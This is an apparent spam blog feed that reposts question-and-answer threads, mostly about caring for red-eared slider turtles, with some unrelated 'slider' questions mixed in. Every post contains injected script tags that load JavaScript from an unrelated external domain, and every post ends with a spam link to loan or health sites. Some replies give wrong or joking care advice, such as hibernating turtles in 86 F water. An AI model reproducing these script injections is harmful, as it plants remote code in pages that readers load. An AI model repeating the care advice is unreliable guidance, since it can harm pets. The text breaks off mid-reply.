tag:blogger.com,1999:blog-56157517255015619552024-02-20T13:41:39.749-08:00slidersPetehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.comBlogger328125tag:blogger.com,1999:blog-5615751725501561955.post-43075748890865416152010-03-17T05:37:00.000-07:002010-03-17T05:37:07.103-07:00How do i know if my baby 1 inch red ear slider turtle has a healthy shell?Any signs that it uis not healthy? Any signs that it is healthy?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>How do i know if my baby 1 inch red ear slider turtle has a healthy shell?<br>Healthy signs-<br><br /><br />- Good color (some white pitting on edges and some silvery 'bubbles', mostly seen when swimming) are OK.<br><br /><br />- Firm. At this age, there should be some springy flexibility, some 'bounciness', especially on the bottom and edges<br><br /><br /><br><br /><br /><br><br /><br />Bad signs-<br><br /><br />- Soft- leathery feeling, no springiness.<br><br /><br />- Missing scales<br><br /><br />- Discolored areas- white, black, etc.<br><br /><br /><br><br /><br />Just as important as these signs, we look for a healthy appetite, good swimming, good basking behavior, etc.<br><br /><br /><br><br /><br />Try http://www.redearslider.com for other ideas.<br>Reply:The shell should be glossy with no cracks and should not be soft. As it is just a baby the scoots may be pliable, but it should not be soft. If you provide your baby with plenty of UV light you should not have a problem with the health of the shell. Wardley makes a pellet designed for baby turtles that has a higher protein and calcium content. I recommend using this until your turtle is about 3 years of age,If you have trouble getting your pet to eat pellets, try mixing a little brine shrimp in with the pellets. The smell attracts them, and with their limited visual acuity, the eat everything!<br>Reply:dominoes is the best pizza<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://www.ineedaloan.com.cn/>loan</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-30769164238264058632010-03-17T05:36:00.003-07:002010-03-17T05:36:50.765-07:00Why does my Red Eared Slider Turtle have like a brown circle on his bottom?He has like a Brownish foggy circle on the bottom. I tried to clean it off it won't come off. Its like covering his regulard green dot symbols on the bottom of his shell. I don't know what it is but I read a different question where someone had brown spots on his RES Turtle and the best answered person said it is normal. Is that true?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>Why does my Red Eared Slider Turtle have like a brown circle on his bottom?<br>Is it going foggy like the one in this pic? http://www.austinsturtlepage.com/world_o...<br><br /><br /><br><br /><br />Is that what you mean by the dots? If so yes it's normal. Their designs are all different. <br><br /><br /><br><br /><br />To see more pics: http://www.austinsturtlepage.com/world_o...<br>Reply:yea i think cause they have circles around there bottom shell..... i got 1 red ear slider, 1 pink belly slider, 1 yellow belly slider, and red belly slider.. no the yellow belly, pink belly, don have circles but my red ear slider and my red belly does though<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://www.skinskin.com.cn/>skin rash</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-34117770834256208482010-03-17T05:36:00.002-07:002010-03-17T05:36:31.816-07:00Can my female red slider turtle reproduce even if there isnt a male around?I have two females and i read in a site that the don't need a male to be there to mate. Is that true?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>Can my female red slider turtle reproduce even if there isnt a male around?<br>well not really if 1 of ur females turtuls had given bith then b4 u bought them they would have had to been with a male.<br>Reply:no, only some lizards can do it and even fish, but no turtles as far as i have ever ever heard or read about but they will still lay there eggs and it will be infertile<br>Reply:Its hard to believe ,butt No . there HAS to be a male to give sperm to the Female .<br>Reply:no, but they can still drop infertile eggs<br>Reply:They will still lay eggs but they will be infertile.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://www.myspace-codes.com.cn/>myspace</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-50519840701712529462010-03-17T05:36:00.001-07:002010-03-17T05:36:17.947-07:00How can I tell the age of my red ear slider turtle?I got a pet turtle I do not know much about it. I would like to figure out its age can you help me?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>How can I tell the age of my red ear slider turtle?<br>As far as I know establishing the age of a turtle is almost impossible. The only reason we know they live so long is from carbon dating and fossils. If you are looking to get a turtle don't worry about the age it might outlive you so keep that in mind. They average 80-100 years. Some people say you can use the growth rings on the underside of the shell but these are not accurate and can be worn off. Sorry!<br>Reply:If you look at the scutts. The scales on the shell, when they are dry you can see "rings" on them, well defined sections. its 1 for 1 as a estimate, the only problem is they smooth out on older turtles and are hard to see.<br>Reply:You can't, unless you have a really small one. Then, you can tell by the size.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://4viruses.blogspot.com/>viruses</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-31245266078809196942010-03-17T05:36:00.000-07:002010-03-17T05:36:04.870-07:00Is there an aftermarket rear slider window for an 06 Toyota Tacoma? If so how much and where?I have an 06 toyota tacoma dbl cab, I shatered the rear slider but everything else is intact. The dealership said it I have to by the whole window at $700.00, thats crazy. Is there another way to fix this that doesnt cost so much? Any advice will be helpfull.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>Is there an aftermarket rear slider window for an 06 Toyota Tacoma? If so how much and where?<br>Ebay or a junkyard<br>Reply:your truck may not be old enough - But - you can try a place online called autobodypartswarehouse....another one is called certifit -----afraid you might find your truck is too new and you can only get them from the dealer...wish you luck.<br>Reply:Try looking at Recycler.com under parting out or truck parts.This a good place to find used Toyota parts or After market parts.Another idea is maybe try a camper shell company like Snug Top or an auto glass company maybe the glass to the rear slider can be replaced with out spending so much money.Also you might try an auto salvage yard they might have a tacoma that was in a wreak and parting out.<br>Reply:If you only have a $500 deductible or less I would just file an insurance claim. I have an 07 and I recently backed into a bicycle. Damage was $986 because it hit the tailgate and took off paint, and dented the bumper which would have to be replaced. I was pissed. Anyway I have a $500 deductible, I got the estimate for $986 so I collected $486 from my insurance company. I went back to the dealer and just had them fix the tailgate at $460. The dent in the bumper is so small you can barely see it. My insurance DID NOT go up at all. At least you can get it fixed right for only your deductible. Good luck<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://www.tototo.com.cn/>diseases</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-1489874973001559702010-03-17T05:35:00.002-07:002010-03-17T05:35:49.632-07:00Can you put a red slider turtle in a tank with a crawdad? Would one hurt the other?I have a nice set-up for a dollar coin sized red slider turtle in a heated and well lit tank. My daughter got a crawdad from school and has it in a small, dank bowl. Can I put it in the tank to improve it's quality of life or will one hurt (or eat) the other?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>Can you put a red slider turtle in a tank with a crawdad? Would one hurt the other?<br>Big crawdads eat small turtles, and big turtles eat small crawdads. If they are about the same size they will probably nip at and annoy each other.<br><br /><br /><br><br /><br />Crawdads also carry a bacteria that can cause shell problems in turtles.<br><br /><br /><br><br /><br />Even with this, it would be OK if the tank was nice and large, well-heated and well-filtered, had lots of basking and hiding spots, and was well-lit in a way that included UVB lighting.<br><br /><br /><br><br /><br />You can get some good turtle info at http://www.redearslider.com<br><br /><br /><br><br /><br />Good luck!<br>Reply:Your crawdad will most likely leave the res alone, but there is a chance that it will try to attack it or even kill it and eat it. However when the res gets larger it will most likely 99% kill and eat the crawdad.<br>Reply:I wouldnt. I have to red eared sliders [Romeo,%26amp; Juliet] And the crawdad will be aggresive toward the turtle. Now though, once the turtle gets big enough the story will change,%26amp; tables will turn...<br>Reply:It depends on how big the turtle is.. i have done this before.<br><br /><br />my turtle was a little bigger than the size of my fist....<br><br /><br />the crawfish died...<br>Reply:if the res, is the size of a dollar coin, then the res is in danger, but once the res gets older the crawdad will be its dinner. I have 2 female res in a 300 gallon tank, and i put in 3 crawdads, the crawdads didnt even last 2 minutes. These are 2 full grown res not small as yours.<br>Reply:The turtle will probably eat the crawdad. It may take a while but eventually he will.<br>Reply:i have two-red-eared-sliders (Myrtle and Yertle the turtles) i personally would not put a crawdad in a tank with a baby red-eared-slider (who knows the crawdad could rip off the babys tail!!!)<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://www.myspace-codes.com.cn/>myspace</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-42684910215130212062010-03-17T05:35:00.001-07:002010-03-17T05:35:30.750-07:00What is the length of the largest known red eared slider turtle in the world?I have a RES which has a carapace length of about 10 inches. Just wondering.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>What is the length of the largest known red eared slider turtle in the world?<br>11 3/8 inches<br>Reply:ill let you know after i take a sh!+<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://maintenance-repairs23.blogspot.com/>maintenance repairs</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-75235751965035793132010-03-17T05:35:00.000-07:002010-03-17T05:35:09.206-07:00How do you breed red eared sliders?Why would you want to breed them? There are hundreds for adoption all across the country. They get larger than most people realize, so many are surrendered to rescues and animal control or are passed from family to family, or worse, released to areas where they are not native.<br><br /><br /><br><br /><br />If you had a pair, you'd need at least 125 gallons of water (about 10 gallons per inch of turtle). You'll need a laying area, and will have to incubate the eggs. Also, there's always a risk of egg binding in the female if she doesn't like the laying area or you don't set one up soon enough. Egg binding can be fatal if not treated soon enough, so you should know the number for a qualified reptile veterinarian in your area, too.<br><br /><br /><br><br /><br />FYI, female sliders don't start laying eggs until they are about 6-7" long (straight top shell length).<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>How do you breed red eared sliders?<br>Very hard job. They have really good books at the pet stores or at the library. One thing to pay close attention to them when laying their eggs. If they lay their eggs in the water they will eat them so make sure they have a land area with lots of fine sand so they can bury their eggs. Also if your turtles are smaller than the size of your palm then their probably not old enough yet.<br>Reply:The question is WHY breed Red-ear sliders? Red-ears are the most abused of all pet turtles. They are obtained cheap, sold cheap, and terribly mistreated. Most turtle enthusiasts would argue that there is no need to add to the problem unless you are offering a unique form of slider- pastel coloration, etc.<br><br /><br /><br><br /><br />If you wish to pursue this, you can get the info you need at http://www.austinsturtlepage.com and http://www.redearslider.com<br>Reply:Please do not breed reptiles there are so many abused and neglected reptiles that there is no need to breed them.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://5motorcycles.blogspot.com/>motorcycles</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-11034524425710075342010-03-17T05:34:00.002-07:002010-03-17T05:34:47.302-07:00I cant afford a tank for my Red eared slider turtle, are there any alternative ways of providing a tank?Ive heard of putting him in a large storage bin or Rubbermaid equivalent, but im not too sure if its ok, any help?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>I cant afford a tank for my Red eared slider turtle, are there any alternative ways of providing a tank?<br>Rubbermaid <br><br /><br />Pro's:<br><br /><br /> 1)Very light. When empty or with just a little water, they are very easy to move around. This also makes cleaning easier. <br><br /><br /> 2)Cheap. They can be found everywhere for cheap. You can get a 50 gallon for 15$, versus the potential 100$ for a 50 gallon aquarium. <br><br /><br /> 3)Easy to clean. They are light, therefor during cleaning, they can be turned, lifted, flipped, etc. using minimal effort. <br><br /><br /> 4)More realistic for turtles, fish, etc. Whatever you have in the aquarium can't see out of the “sides” of its natural habitat. As far as I know, the “sides” of ponds and lakes are NOT see-through. In my opinion, turtles most likely feel more hidden and secure in a Rubbermaid. <br><br /><br /> 5)Won't break easily. Unless you take a knife, scissors, or another sharp object, you, your turtles, AND everything else in your house will have a tough time breaking a Rubbermaid tub. They’re made of a tough plastic. <br><br /><br /> 6)Pretty easy to store. If you have one, it’ll take up just about as much room as an aquarium. But if you have more than one, they are stackable, saving you lots of room. <br><br /><br /><br><br /><br />Con's:<br><br /><br /> 1)Not very aesthetically pleasing. It’s not exactly attractive seeing a big tub full of water sitting in the middle of a room. But if you can’t afford an aquarium or just don’t want one, this shouldn’t be a problem. <br><br /><br /> 2)Can't view turtles through the sides. The clear Rubbermaid tubs only come in smaller sizes. I have yet to see a clear one larger than 13 gallons. Plus, even the “clear” don’t come near the transparency of glass. <br><br /><br /> 3)Caves out a little bit. Since they are made of plastic, when filled with water, they can “bow” (cave out) a little, and if the water level is high enough, this can cause some to overflow. But this can be solved by doing the following (It’s explained the best I could…) : <br><br /><br />Ø Get two wooden posts that are 2” longer than the width of the tub (Measure the tub when it is not caving out.)<br><br /><br />Ø Cut two notches into the posts so that when you orient the posts correctly, the notches will fit right onto either side, holding the two sides together. <br><br /><br />Ø Place the two posts on top of the tub about a foot apart, so that the notches rest on the side of the tub. They don’t have to be a foot apart, the distance between can be smaller or greater depending on the size of the tub. When you fill the tub with water, the posts should keep the sides from bowing. You can screw the posts onto the sides just in case. <br><br /><br /> 4)Rubbermaid tubs don't come in sizes any bigger than about 50 gallons so this limits what kind of turtle or how long you can keep a turtle in it for. They are perfect for hatchling turtles up to 5” turtles. Any bigger than 5” would be pushing it. A full grown female RES, for example, would be way too big for a 50 gallon Rubbermaid, but a Map or Painted turtle 5” or smaller would fit just right. <br><br /><br /> 5)Required accessories for turtles don’t always “work right” with Rubbermaid tubs. One problem I have had was that suction cups, such as the kind on some basking spots and thermometers, don’t stick to the plastic that Rubbermaid’s are made of. Also, aquariums can be bought in lengths such as 20”, 36”, 48”, etc., which are the sizes that fluorescent lights fixtures are sold in. So if you buy a 36” long aquarium and a 36” long light fixture, the fixture will fit perfectly on the top of the aquarium. On the other hand, even if a Rubbermaid is 36” long, the sides are typically slightly rounded, so a 36” fixture wouldn’t fit right. You’d need to experiment in order to solve this problem. <br><br /><br /><br><br /><br />Hopefully now you can decide whether a Rubbermaid tub or an aquarium is best for you. In the case that you choose to settle with an aquarium, it is still a good idea to have a Rubbermaid or two on hand just in case. It won’t hurt<br><br /><br /><br><br /><br />Austi's Turtle Page is one of the best with every thing you could probably need know if you go to all the articles.<br><br /><br /> These links go to basic set-up<br><br /><br />http://www.austinsturtlepage.com/Article...<br><br /><br />http://happyturtle.ms11.net/setup.html<br>Reply:yea you can put them in storage bin or rubbermaid... that would be okay.. i have seen people do that.. no harm. good luck!<br>Reply:you can make one out of plexi glass<br>Reply:The Rubbermaid containers work very well and are a cheap way to give your turtle the room he needs<br>Reply:you might as well buy a terrarium for your Red eared slider turtle its much cheaper and easier....<br><br /><br />http://aquadreamshop.tripod.com/miniaqur...<br><br /><br />this site has terrariums you can see it for yourself<br>Reply:thats a prefect alternative,until one day you may want to display your turtle.<br>Reply:a large sterilite or rubbermaid container is fine just make sure that it has land or a large rock for basking as well as a water area<br>Reply:Yes, storage containers work great. Kids plastic wading pools work as well.<br><br /><br /><br><br /><br />Don't buy a terrarium for a RES. They are cheaper than tanks because they are NOT watertight, and can use thinner glass, etc. They are great for land critters, but don't try to put water into them.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://www.ineedaloan.com.cn/credot-siosse/>credot siosse</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-62498964578789393802010-03-17T05:34:00.001-07:002010-03-17T05:34:30.728-07:00What is an application that enables you to change the slider image on the iPod touch?what is a download that you can get images as the unlock and power off slider?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>What is an application that enables you to change the slider image on the iPod touch?<br>The Customize app (found in the installer) allows you to change the sliders... make sure you download image packages that give you some sliders to choose from!<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://www.myspace-codes.com.cn/myspace-quizzes/>myspace quizzes</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-31362696655268643432010-03-17T05:34:00.000-07:002010-03-17T05:34:12.769-07:00Hi,i have a 2005 gsxr 600,is there a site i can purchase colored no cut frame sliders for this?http://www.powersportrider.com/CGI-BIN/H...<br><br /><br />Go to - Street - Index - Frame Sliders<br><br /><br />Black, white, blue, yellow, aluminum, chrome.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>Hi,i have a 2005 gsxr 600,is there a site i can purchase colored no cut frame sliders for this?<br>parts unlimited maybe, Cycle gear is a store that carries everyhting, they would have it. Go to cyclegear.com<br>Reply:Ebay or Dennis Kirk<br>Reply:go to www.oneidasuzuki.com they have everything suzuki<br><br /><br />and more and good prices.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><br><a href=http://www.ineedaloan.com.cn/horses-for-loan/>horses for loan</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-90911338347001278512010-03-17T05:33:00.003-07:002010-03-17T05:33:52.571-07:00Where can i purchase an albino red ear slider and a jamaican red ear slider?i live in NYC, any suggestions on locations i can go to?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>Where can i purchase an albino red ear slider and a jamaican red ear slider?<br>try reptile auction, it always has different reptiles<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://visualarts1.blogspot.com/>visualarts</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-80059860300402086792010-03-17T05:33:00.002-07:002010-03-17T05:33:41.117-07:00What is the best and cheapest way to make a pond for my aquatic turtles?Ok, I have two adult red eared sliders. I was given them by a friend who couldnt keep them. I upgraded there tank to a 50 gallon, but they smell bad! I really like them and cant afford 15 bucks a week in filters. I thought it would be cool to build them a pond in the back yard. Does anyone know the cheapest and best way to make my little guys a nice outside home? Is using pond liner a good idea? What about a filter? Will they run away?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>What is the best and cheapest way to make a pond for my aquatic turtles?<br>I have a water turtle that lives in my front water pond. the pond has liner and my turtle seems really happy in it. I have a filter that the water runs through before it is recycled.I recommend a small shelf for your guys to sit on if they are like normal turtles and like to lounger around. the filter helps to keep the water from becoming stagnic. if you make the sides of your pond at an slope the turtles will not be able to climb out. I have large stepping stones on the top side to keep everything in its spot. when you are done setting up the pond you can do some landscaping around the outer edges with plants or whatever you may want.<br>Reply:i,ve seen this done on t.v., dig a nice size hole, more wider than deep. then put a plastic tarp which can be purchased at any hardware store over the hole. then get some dirt and cover the plastic around the hole with dirt to make the pond blend into the ground around it. i would put some rocks for the turtles to climb on in to the middle of the pond. go to a store that has fish aquariums and get one of those pumps with a filter and put it <br><br /><br />the water but onto the side so it won,t fall over. i,ve seen places that actually specialize in pond building that have everything needed for ponds, even the fish, rocks and trees around the out side. if you,re worried about them crawling out<br><br /><br />put up a fence about 10 in. high or higher around the perimeter. have fun with your easy hobby !!<br>Reply:I made one for the kids turtle years ago using their wading pool. It was quite large,10 feet in diameter with about an 18 inch side wall. I divided it into three areas using stones gravel and sand. I built a swimming area, underwater cave (so he could hide from cats), a beach, another cave to get out of the sun and a big shovel full of cat tails to make him feel at home. As far as maintenance, all I did was siphon the water out and refill once a week in the summer. In the winter he lived smaller version in the basement. I would compare price to a pond liner, but my guess is they're cheaper. If I was to do it again I would dig it in and landscape and garden around it. We kept it two summers and one winter, then one morning it was gone. I told my grief stricken daughter it decided to go back home to the river but it was probably a coyote or raccoon. RScott<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://2009-visual-arts.blogspot.com/>visual arts</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-57884210165358158042010-03-17T05:33:00.001-07:002010-03-17T05:33:25.775-07:00When I have a large community like below, how do I stabilize waste?I have a freshwater community 55 Gallon Tank. The community consists of the following: 3 severum, 1 spotted catfish, 5 tiger barbs, 3 black tip sharks, and 1 pleco. Also to add to that two baby red ear sliders.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>When I have a large community like below, how do I stabilize waste?<br>Good filtering, plenty of gravel vacuming and water changes.<br><br /><br /><br><br /><br />Let the nitrate levels be your guide to how much water to change. Change as often and as much as you need to keep the level down below about 30.<br><br /><br /><br><br /><br />I would not add turtles to the mix, very difficult to keep a tank clean with them in.<br><br /><br /><br><br /><br />You will probably need to go to a bigger tank in the future as well.<br><br /><br /><br><br /><br />Ian<br>Reply:weekly water changes about a 1/3 and like he said clean the gravel.live plants will also help with water quality and adding stress zyme once a week to help with the good bacteria<br><br /><br />http://www.fishandfins.co.uk/stress-zyme...<br><br /><br />http://www.epinions.com/content_62341615...<br>Reply:Gravel Vac once a week .. simple<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://tanning-t.blogspot.com/>tanning</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-89895790330818249082010-03-17T05:33:00.000-07:002010-03-17T05:33:07.377-07:00How do I hibernate my turtles for the winter?I have 4 red-eared sliders.They are indoor pets. I read somewhere that I should hibernate them during the winter to help regulate their bodies.I need help with the temperature lowering and stuff like that.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>How do I hibernate my turtles for the winter?<br>Don't hibernate! Turtle's only hibernate in nature because it gets cold and they would starve to death if they didn't. Many turtles die in hibernation because their immune system shuts down so if there was any hint of disease or infection it will kill the turtle. Dehydration and their guts not being empty (they should fast for 2 weeks prior so food doesn't rot in their gut) are also issues to deal with.<br><br /><br /><br><br /><br />Also, if the temperature isn't just right, they will starve to death because their metabolism will not slow enough. Are you even sure they are fat enough to hibernate?<br><br /><br /><br><br /><br />I own 8 turtles and I have had two different exotic animal vets tell me not to hibernate my turtles.<br>Reply:to hibernate them keep water at 86 f you also have to check them often for sores<br>Reply:most dig underground and hibernate<br>Reply:I have the same animal.You let them go to sleep on their own and you can't handle them alot.<br>Reply:When I had my two turtles (RES) I don't ever remember doing that for them. **read it wrong** lol but i'll leave these things in here.<br><br /><br /><br><br /><br />Is your tank not half water and half land?<br>Reply:Dont hibernate them. If there indoor pets there is no reason to do it.<br>Reply:It IS NOT recommended that you hibernate Red-ears indoors and it is not necessary for their health or breeding- after all, they don't hibernate in the southern part of their range.<br><br /><br /><br><br /><br />It is VITAL that you keep the temps and lighting up to summer-like standards if you don't hibernate them.<br>Reply:Mine just stays hiddin under its log alll winter<br>Reply:take'em somewhere warm<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://12poems.blogspot.com/>poems</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-17137256326652182972010-03-17T05:32:00.002-07:002010-03-17T05:32:48.531-07:00Can a red eared slider remain in the water all the time?I have a 7 month old slider and about 2 months ago i put him in a 5 gallon fish tank (guppy tank) to get some exercise. Well he refused to come out. He was swimming all around dodging my trys to get him out. He will not calm down until i close the tank. He has been in there continuously for 2 months now and I have only been able to get him out once. I put him back in his regular tank (not full of water) and he kept running into the walls and just acting all frantic. Thus, I put him back in the fish tank. Is this ok? I have a great filter, heater and he eats WAY better in the fish tank. He floats at the top of the tank with his head out of the water sometimes but I do not have a dock for him as the fish tank is small. Should I allow him to stay in the tank?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>Can a red eared slider remain in the water all the time?<br>No. They need to be able to come completly out of the water to dry off or else they are prone to infections. The 5 gallon tank is WAY too small. A turtle needs 10 gallons per inch of shell, and sliders like deep water so it should be filled as high as you can without risk of escaping from their basking spot Since he is little still you can use the small tank for feeding and letting him relieve himself after eating as it will help keep the bigger tank clean. You really need some kind of basking spot, get creative, you can use a log, driftwood, you can make an above tank basking spot, etc. What kind of lighting do you have? You should have a UVA/UVB light that emits at least 5% UVB rays. You also need a heat lamp, for this you can use a clamp lamp ith a regular household bulb. <br><br /><br /><br><br /><br />What does the other setup look like? What I am thinking is you do not have ENOUGH water in there, and that's why he flips out when you try to put him back in there. As I said above, sliders like deep water AND they are aquatic turtles so fill it up!! For exercise, why not throw some feeder fish in there? Do not use goldfish as they are too fatty. You can feed him Rosie Reds, feeder guppies, shiners. You can feed crickets too, but the fish and crickets should be fed sparingly. They need a varied diet so, I'll add a safe feeding list for you too.<br><br /><br /><br><br /><br /><br><br /><br />Hatchlings<br><br /><br />Hatchlings should be fed everyday for the first year of their lives. They should be given as much as they can eat in 10 to 15 mins time or as much as you could fit into their head if hollow. You can feed them all of it at once or you can slit it up into 2 feedings. <br><br /><br /><br><br /><br />Hatchlings tend to be more Carnivorous than adults, so make sure to check out the suggestions of live and protein-rich foods below for how to supplement accordingly. (Make sure you still give fruits and veggies at this stage!)<br><br /><br /><br><br /><br />Juveniles/Adults<br><br /><br />Once your turtle reaches the 4" mark, we recommend that you change their feeding schedule to every other day. Giving them greens or live plants in between. <br><br /><br /> <br><br /><br />Adults tend to become more Omnivorous, so make sure to check out the suggestions of fruits and vegetables below.<br><br /><br /><br><br /><br />Vitamins and Calcium<br><br /><br />You should supplement your turtle's diet with both vitamins and calcium, every third feeding or once a week. To give them vitamins many people will give them a Vitamin Bath once a week. You can also either soak the pellets in a liquid vitamin or dampen them and roll them in a powder vitamin before feeding.<br><br /><br /> <br><br /><br />It is recommended you have a light that supplies UVA and at the very least a 5.0 UVB output. The UVB is necessary for the absorption of calcium and vitamin D3. Turtles need both calcium and Vitamin D3 for strong bones and shells.<br><br /><br /><br><br /><br />**Feeding Tip Feedings should be done in a separate container so that you do not have to frequently change the water nor the filter media.<br><br /><br /><br><br /><br /><br><br /><br />Common Diet Errors<br><br /><br /> <br><br /><br />Feeding Cat or Dog Food<br><br /><br />Despite what some pet store employees may tell you, turtles should not be fed dog or cat food (Sounds insane, but we've heard it!) <br><br /><br /> <br><br /><br />Pellet Only Diets<br><br /><br />Pellets provide many benefits, but variety is key!<br><br /><br />Supplement their diet with veggies, live foods and some fruits. Check out our safe list below.<br><br /><br /> <br><br /><br />Giving in to Beggars<br><br /><br />Turtles will always beg whether you give in or not- they know you are the supplier of food!<br><br /><br />Supplement between feedings with greens or live foods they have to chase to eat. ( Iceberg lettuce is a common filler that doesn't contain much nutritional value, but will keep them content.)<br><br /><br /><br><br /><br /><br><br /><br />Safe Feeding List<br><br /><br /><br><br /><br />Commercial Foods (This is just a few of them on the market)<br><br /><br />* Tetra Reptomin<br><br /><br />* ZooMed's Aquatic Turtle Food<br><br /><br />* Exo Terra<br><br /><br />* Wardley's Reptile Premium Sticks<br><br /><br />* HBH Turtle Bites<br><br /><br /> <br><br /><br />Frozen/Canned (For treats)<br><br /><br />* Spirulina-enriched Brine Shrimp<br><br /><br />* Bloodworms<br><br /><br />* Plankton<br><br /><br />* Krill<br><br /><br />* ZooMed's Can O'Crickets, Grasshoppers, or Meal Worms<br><br /><br /> <br><br /><br />Live Foods (Carnivorous)<br><br /><br />* Guppies or Rosies Reds (no goldfish they are too fatty and have very little nutritional value)<br><br /><br />* Crickets (Gut-Loaded)<br><br /><br />* Pinhead Crickets (for smaller turtles)<br><br /><br />* Earthworms, Night Crawlers<br><br /><br />* Ghost Shrimp<br><br /><br />* Aquatic Snails/Apple Snails<br><br /><br />* Slugs<br><br /><br />* Wax Worms, Super Worms<br><br /><br /> <br><br /><br />**Be careful about Wild-Caught foods, they can carry parasites that can be transferred to your turtle. Freezing Wild-Caught foods for a month will help to kill off some parasites.<br><br /><br /> <br><br /><br />Fruits (small amounts for treats only)<br><br /><br />* Apples<br><br /><br />* Bananas<br><br /><br />* Grapes<br><br /><br />* Melon<br><br /><br />* Tomato<br><br /><br />* Strawberries<br><br /><br /> <br><br /><br />**Should be cut up in small, bite-size or match-like sticks that will be easy for the turtle to bite into and not choke on.<br><br /><br /> <br><br /><br />Veggies<br><br /><br />* Squash<br><br /><br />* Zucchini<br><br /><br />* Carrots <br><br /><br />* Greens- Red Leaf, Romaine, Collards, Kale, Dandelion Greens<br><br /><br /> <br><br /><br />**Stay away from Spinach. Make sure to cut the veggies in bite-size or match-like sticks so your turtle can eat them easily. Iceberg lettuce is a good filler, but contains little/no nutritional value!<br><br /><br /> <br><br /><br />Aquatic Plants<br><br /><br />* Anacharis<br><br /><br />* Duckweed<br><br /><br />* Water Hyacinth<br><br /><br />* Water Lettuce<br><br /><br />* Water Lily <br><br /><br /><br><br /><br />For more help, please come visit me at http://www.turtleexchange.com/forum/inde... I am Julia there or http://turtlesale.com/forum/index.php I am Grumps1stBorn there.<br>Reply:Check out this website, it should be helpful<br><br /><br />http://www.anapsid.org/reslider.html<br><br /><br />From what I understand, having a dock would be a good idea.<br>Reply:I own 4 red eared slider and there in a 125 gallon fish tank. I have a land erea built up for them to come out of the water when they want to bask under the heat lamps. The tank has 90 gallons of water in and there is one side of the tank that I have created a land erea using rocks and gravel that extends out of the water with plants and a nesting erea. The 125 gallon tank is 6 feet long and 4 feet of that is water and the other 2 feet is land. My 